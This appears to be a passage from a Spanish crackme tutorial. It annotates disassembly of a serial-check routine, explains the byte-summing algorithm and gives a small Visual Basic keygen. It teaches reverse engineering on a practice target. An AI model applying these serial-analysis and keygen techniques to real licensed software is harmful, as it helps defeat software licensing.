Es la base del algoritmo. Lo que hace el Señor Sangre, es sumar el 1º byte con el 8º, el 2º con el 7º etc. Si hechamos un vistazo al buffer donde se almacena, podremos ver nuestro serial creado, y al ser de serial único, prefiero no regalarlo

Sigamos.
 
00401361  |> \C70424 500000>MOV DWORD PTR SS:[ESP],50                ; ||||||||
00401368  |.  E8 E3060000   CALL                ; |||||||\putchar
0040136D  |.  C70424 610000>MOV DWORD PTR SS:[ESP],61                ; |||||||
00401374  |.  E8 D7060000   CALL                ; ||||||\putchar
00401379  |.  C70424 730000>MOV DWORD PTR SS:[ESP],73                ; ||||||
00401380  |.  E8 CB060000   CALL                ; |||||\putchar
00401385  |.  C70424 730000>MOV DWORD PTR SS:[ESP],73                ; |||||
0040138C  |.  E8 BF060000   CALL                ; ||||\putchar
00401391  |.  C70424 3A0000>MOV DWORD PTR SS:[ESP],3A                ; ||||
00401398  |.  E8 B3060000   CALL                ; |||\putchar
0040139D  |.  C70424 200000>MOV DWORD PTR SS:[ESP],20                ; |||
004013A4  |.  E8 A7060000   CALL                ; ||\putchar
004013A9  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013AC  |.  83C0 0C       ADD EAX,0C                               ; ||
004013AF  |.  894424 10     MOV DWORD PTR SS:[ESP+10],EAX            ; ||
004013B3  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013B6  |.  83C0 08       ADD EAX,8                                ; ||
004013B9  |.  894424 0C     MOV DWORD PTR SS:[ESP+C],EAX             ; ||
004013BD  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013C0  |.  83C0 04       ADD EAX,4                                ; ||
004013C3  |.  894424 08     MOV DWORD PTR SS:[ESP+8],EAX             ; ||
004013C7  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013CA  |.  894424 04     MOV DWORD PTR SS:[ESP+4],EAX             ; ||
004013CE  |.  C70424 073040>MOV DWORD PTR SS:[ESP],Crackme.00403007  ; ||ASCII "%i %i %i %i"
004013D5  |.  E8 66060000   CALL                  ; |\scanf

Generamos la cadena "Pass: " caracter por caracter manualmente, y pasamos a recojer 4 valores enteros.


Toque final

004013ED  |> /837D E8 03    /CMP [LOCAL.6],3
004013F1  |. |7F 24         |JG SHORT Crackme.00401417
004013F3  |. |8B4D E8       |MOV ECX,[LOCAL.6]
004013F6  |. |B8 03000000   |MOV EAX,3
004013FB  |. |89C2          |MOV EDX,EAX
004013FD  |. |2B55 E8       |SUB EDX,[LOCAL.6]
00401400  |. |8B448D B8     |MOV EAX,DWORD PTR SS:[EBP+ECX*4-48]     ;  Buffer con nuestro serial falso
00401404  |. |3B4495 C8     |CMP EAX,DWORD PTR SS:[EBP+EDX*4-38]     ;  ¿Te suena esta dirección? Buffer con serial generador
00401408  |. |74 06         |JE SHORT Crackme.00401410               ;  Buen chico
0040140A  |. |C645 EF 01    |MOV BYTE PTR SS:[EBP-11],1
0040140E  |. |EB 07         |JMP SHORT Crackme.00401417              ;  Chico Malo
00401410  |> |8D45 E8       |LEA EAX,[LOCAL.6]
00401413  |. |FF00          |INC DWORD PTR DS:[EAX]                  ;  Siguiente.
00401415  |.^\EB D6         \JMP SHORT Crackme.004013ED

Ahí vemos que compara los bytes falsos por los bytes generados en el algoritmo.
Me pareció un serialme simple pero entretenido...


 
Zona 0


Esta es el código del Keygen, programado en VB (Por pereza)
 
Option Explicit

Private Sub Form_Load()
Dim B1 As String
Dim B2 As String
Dim i As Integer

Open "c:\data" For Binary As #1
    B1 = Space(LOF(1))
    Get #1, , B1
Close #1
For i = 1 To 4
    B2 = Asc(Mid(B1, i, 1)) + Asc(Mid(B1, Len(B1) - (i - 1), 1)) & vbCrLf & B2
Next
MsgBox B2, vbInformation
End Sub

Un Saludo!